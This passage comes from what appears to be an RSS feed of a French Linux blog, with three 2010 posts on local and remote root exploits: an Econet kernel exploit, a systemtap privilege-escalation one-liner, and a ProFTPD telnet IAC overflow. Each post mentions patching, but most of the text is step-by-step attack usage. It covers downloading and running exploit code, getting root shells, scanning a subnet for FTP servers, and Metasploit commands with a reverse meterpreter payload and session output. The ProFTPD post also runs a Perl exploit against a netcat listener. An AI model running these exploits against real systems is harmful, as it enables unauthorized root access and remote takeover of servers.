<p>Le seul moyen de contrer cette attaque est de mettre à jour votre système. Voici un exemple d'utilisation de l'exploit :</p>
<blockquote><p>
$ wget www.tux-planet.fr/public/hack/exploits/kernel/nelson.c<br />
$ gcc -o nelson nelson.c<br />
$ ./nelson<br />
[*] Resolving kernel addresses...<br />
 [+] Resolved econet_ioctl to 0xf80f02a0<br />
 [+] Resolved econet_ops to 0xf80f03a0<br />
 [+] Resolved commit_creds to 0xc016c830<br />
 [+] Resolved prepare_kernel_cred to 0xc016cc80<br />
[*] Calculating target...<br />
[*] Triggering payload...<br />
[*] Got root!<br />
# id<br />
uid=0(root) gid=0(root) groupes=0(root)
</p></blockquote>
<p>J'ai testé l'exploit avec succès sur une Ubuntu 10.10 (noyau en version 2.6.35-22-generic). Cela ne marche pas après une mise à jour du système (noyau en version 2.6.35-23). Je n'ai pas eu le temps de le tester sur d'autres systèmes mais on peut lire, en commentaire dans le code source, que celui-ci est assez limité :</p>
<ul>
<li>il ne concerne donc pas Slackware et Debian (le symbole résolu n'existe pas sous ces distributions)</li>
<li>il ne concerne pas Red Hat car cette distribution ne supporte pas Econet par défaut</li>
<li>il ne concerne pas les Ubuntu et Debian qui ont été mises à jour (CVE-2010-3849 et CVE-2010-3850)</li>
</ul><p><br/><hr><a href="http://www.tux-planet.fr/local-root-exploit/">Local Root exploit by Nelson Elhage</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/local-root-exploit/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Local Root Exploit in systemtap</title>
		<link>http://www.tux-planet.fr/local-root-exploit-in-systemtap/</link>
		<comments>http://www.tux-planet.fr/local-root-exploit-in-systemtap/#comments</comments>
		<pubDate>Mon, 29 Nov 2010 07:00:23 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=4494</guid>
		<description><![CDATA[Une nouvelle faille de sécurité vient d'être découverte sous Linux et plus particulièrement dans le logiciel Systemtap, un outil d'administration permettant de suivre l'activité du noyau. L'exploit permet ainsi à un simple utilisateur de passer root sur une machine. Systemtap n'est en revanche installé par défaut que sur un nombre très limité de distributions, comme [...]<p><br/><hr><a href="http://www.tux-planet.fr/local-root-exploit-in-systemtap/">Local Root Exploit in systemtap</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/comix.png" alt="Exploit" class="aligncenter" /><br />
Une nouvelle faille de sécurité vient d'être découverte sous Linux et plus particulièrement dans le logiciel Systemtap, un outil d'administration permettant de suivre l'activité du noyau. L'exploit permet ainsi à un simple utilisateur de passer root sur une machine. Systemtap n'est en revanche installé par défaut que sur un nombre très limité de distributions, comme le Red Hat Entreprise Linux 5.5.</p>
<p><span id="more-4494"></span></p>
<p>Le seul moyen de contrer cette attaque est de mettre à jour son système. Voici un exemple d'utilisation sur une <acronym title="Red Hat Entrepsie Linux">RHEL</acronym> 5.5 :</p>
<blockquote><p>
$ cat /etc/redhat-release<br />
Red Hat Enterprise Linux Server release 5.5 (Tikanga)<br />
$ rpm -qa | grep systemtap<br />
systemtap-runtime-1.1-3.el5_5.2<br />
systemtap-1.1-3.el5_5.2
</p></blockquote>
<p>On lance ensuite l'exploit comme ceci :</p>
<blockquote><p>
$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever</p>
<p>sh-3.2# id<br />
uid=0(root) gid=0(root)
</p></blockquote>
<p>L'exploit fonctionne aussi sous Fedora, Ubuntu et d'autres distributions, à condition d'installer systemtap au préalable. Comme il faut un compte root pour faire cela, l'exploitation de la faille reste très limitée.</p>
<p>Pour installer cet outil sur une distribution à base de Debian, ouvrez un terminal et lancez la commande suivante :</p>
<blockquote><p>sudo apt-get install systemtap-runtime</p></blockquote>
<p>Ou celle-ci pour une distribution à base de <acronym title="Red Hat Package manager">RPM</acronym> :</p>
<blockquote><p>su -c 'yum install systemtap'</p></blockquote><p><br/><hr><a href="http://www.tux-planet.fr/local-root-exploit-in-systemtap/">Local Root Exploit in systemtap</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/local-root-exploit-in-systemtap/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>La faille telnet IAC dans ProFTPD</title>
		<link>http://www.tux-planet.fr/la-faille-telnet-iac-dans-proftpd/</link>
		<comments>http://www.tux-planet.fr/la-faille-telnet-iac-dans-proftpd/#comments</comments>
		<pubDate>Mon, 08 Nov 2010 07:00:11 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[proftpd]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=4475</guid>
		<description><![CDATA[Une nouvelle faille de sécurité a été découverte dans le serveur de fichiers ProFTPD. Elle peut permettre à une personne malveillante de prendre le contrôle du serveur à distance. La seule méthode efficace pour contrer ce type d'attaque est de mettre à jour votre serveur en version 1.3.3c ou supérieure. Cette version corrige également une [...]<p><br/><hr><a href="http://www.tux-planet.fr/la-faille-telnet-iac-dans-proftpd/">La faille telnet IAC dans ProFTPD</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/proftpd.png" alt="Proftpd" class="aligncenter" /><br />
Une nouvelle <a href="http://bugs.proftpd.org/show_bug.cgi?id=3521">faille</a> de sécurité a été découverte dans le serveur de fichiers ProFTPD. Elle peut permettre à une personne malveillante de prendre le contrôle du serveur à distance. La seule méthode efficace pour contrer ce type d'attaque est de mettre à jour votre serveur en version 1.3.3c ou supérieure.</p>
<p><span id="more-4475"></span></p>
<p>Cette version corrige également une vulnérabilité de type "directory traversal" dans le module mod_site_misc (non activé par défaut).</p>
<p>Pour ce qui est de la faille principale, cette dernière se situe dans la fonction pr_netio_telnet_gets() du code source. Ainsi, si l'on envoie un trop grand nombre de commandes telnet IAC à un serveur ProFTPD, cela provoque un buffer overflow et permet d'exécuter du code arbitraire à distance.</p>
<p>Attention, la suite de cet article suppose que vous connaissez déjà le <a href="/installation-et-utilisation-de-metasploit-sous-linux/">fonctionnement de Metasploit</a></p>
<h3>Rechercher les serveurs <acronym title="File Transfer Protocol">FTP</acronym> d'un réseau avec Metasploit</h3>
<p>Si vous souhaitez rechercher tous les serveurs <acronym title="File Transfer Protocol">FTP</acronym> d'un réseau, il suffit d'utiliser le module ftp_version de Metasploit  comme ceci :</p>
<blockquote><p>
msf &gt; use scanner/ftp/ftp_version<br />
msf &gt; info<br />
msf &gt; set RHOSTS 192.168.0.1-192.168.0.255<br />
msf &gt; set THREADS 50<br />
msf &gt; exploit
</p></blockquote>
<p>Vous obtiendrez ainsi la liste de tous les serveurs <acronym title="File Transfer Protocol">FTP</acronym> actifs. La plupart du temps, la version et le nom du serveur <acronym title="File Transfer Protocol">FTP</acronym> sont cachés, ce qui rend un peu plus compliqué la recherche d'un serveur d'un type bien particulier (ex: ProFTPD).</p>
<h3>Metasploit et la faille telnet IAC dans ProFTPD</h3>
<p>Pour exploiter la faille telnet IAC de ProFTPD, il suffit d'utiliser l'un des exploits fournis dans Metasploit. Dans notre exemple, nous allons nous attaquer ici à la machine 192.168.0.101 :</p>
<blockquote><p>
msf &gt; search telnet_iac<br />
msf &gt; use linux/ftp/proftp_telnet_iac<br />
msf &gt; info<br />
msf &gt; set RHOST 192.168.0.101<br />
msf &gt; set RPORT 21<br />
msf &gt; show targets<br />
msf &gt; set TARGET 0<br />
msf &gt; set PAYLOAD linux/x86/meterpreter/reverse_tcp<br />
msf &gt; set LHOST 192.168.1.100
</p></blockquote>
<p>Le module étant correctement configuré, on peut lancer l'attaque :</p>
<blockquote><p>
msf &gt; exploit<br />
[*] Started reverse handler on 192.168.56.100:4444<br />
[*] Connecting to <acronym title="File Transfer Protocol">FTP</acronym> server 192.168.56.101:21...<br />
[*] Connected to target <acronym title="File Transfer Protocol">FTP</acronym> server.<br />
[*] Automatically detecting the target...<br />
[*] <acronym title="File Transfer Protocol">FTP</acronym> Banner: 220 ProFTPD 1.3.3a Server (Debian) [192.168.56.101]<br />
[*] Selected Target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1<br />
[*] Your payload should have executed now...<br />
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)<br />
[*] Sending stage (1363968 bytes) to 192.168.56.101<br />
[*] Meterpreter session 1 opened (192.168.56.100:4444 &rarr; 192.168.56.101:49066) at Sun Nov 07 16:29:22 +0100 2010
</p></blockquote>
<p>On ouvre ensuite un accès sur la machine distante :</p>
<blockquote><p>
msf &gt; sessions -i 1
</p></blockquote>
<p>L'inconvénient du module Metasploit est qu'il est capable d'attaquer un nombre limité de cibles :</p>
<blockquote><p>
msf &gt; show targets<br />
    0 - Automatic Targeting (default)<br />
    1 - Debug<br />
    2 - ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1<br />
    3 - ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)
</p></blockquote>
<p>Il existe un module pour la version FreeBSD (use linux/ftp/proftp_telnet_iac), mais pour les autres système, il faudra utiliser d'autres méthodes.</p>
<h3>Un autre exploit pour la faille telnet IAC dans ProFTPD</h3>
<p>Kingcope a mis en ligne, le 7 novembre 2010, un script <acronym title="Practical Extraction and Report Language">Perl</acronym> qui permet d'exploiter cette faille sur un nombre plus important de plateformes :</p>
<ul>
<li>FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)</li>
<li>FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)</li>
<li>Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)</li>
<li>Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)</li>
<li>Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)</li>
<li>Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)</li>
<li>SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)</li>
<li>SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)</li>
<li>SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)</li>
<li>SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)</li>
<li>SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)</li>
<li>SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)</li>
<li>CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)</li>
</ul>
<p>Voici un exemple d'utilisation. Tout d'abord, on met netcat en écoute sur le port 45295 :</p>
<blockquote><p>
nc -l 45295
</p></blockquote>
<p>Puis dans un autre shell, on lance l'exploit :</p>
<blockquote><p>
netstat -pan | grep 45295<br />
wget www.tux-planet.fr/public/hack/exploits/proftpd/proftpd-iac-remote-root-exploit.pl<br />
perl proftpd-iac-remote-root-exploit.pl<br />
perl proftpd-iac-remote-root-exploit.pl 192.168.1.101 192.168.100 5
</p></blockquote>
<p>Ce qui affichera quelque chose comme ceci :</p>
<pre>
[192.168.56.101] Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary) :pP
align = 4101
Seeking for write(2)..
Using write offset 080532d8.

SUCCESS. write(2) is at 080532d8
Reading memory from server...
pop pop pop ret located at 0805462e
large pop ret located at 08059a09
mmap64 is located at 08053d18
memcpy is located at 080536c8
byte1: 0805a056
byte2: 0805341a
byte3: 08053f8b
byte4: 080596b3
byte5: 08053314
byte6: 0806a7d8
byte7: 08053c35
byte8: 080532da
byte9: 08054535
Building exploit buffer
Sending exploit buffer!
Check your netcat?
done.
</pre>
<p><em>PS : chez moi, cet exploit ne marche pas trop, mais l'idée est là. A noter, que sous Ubutnu, le script perl génère une erreur (Can't call method "sockopt"). Par contre, sous Fedora il n'y a pas de problème...</em></p><p><br/><hr><a href="http://www.tux-planet.fr/la-faille-telnet-iac-dans-proftpd/">La faille telnet IAC dans ProFTPD</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/la-faille-telnet-iac-dans-proftpd/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

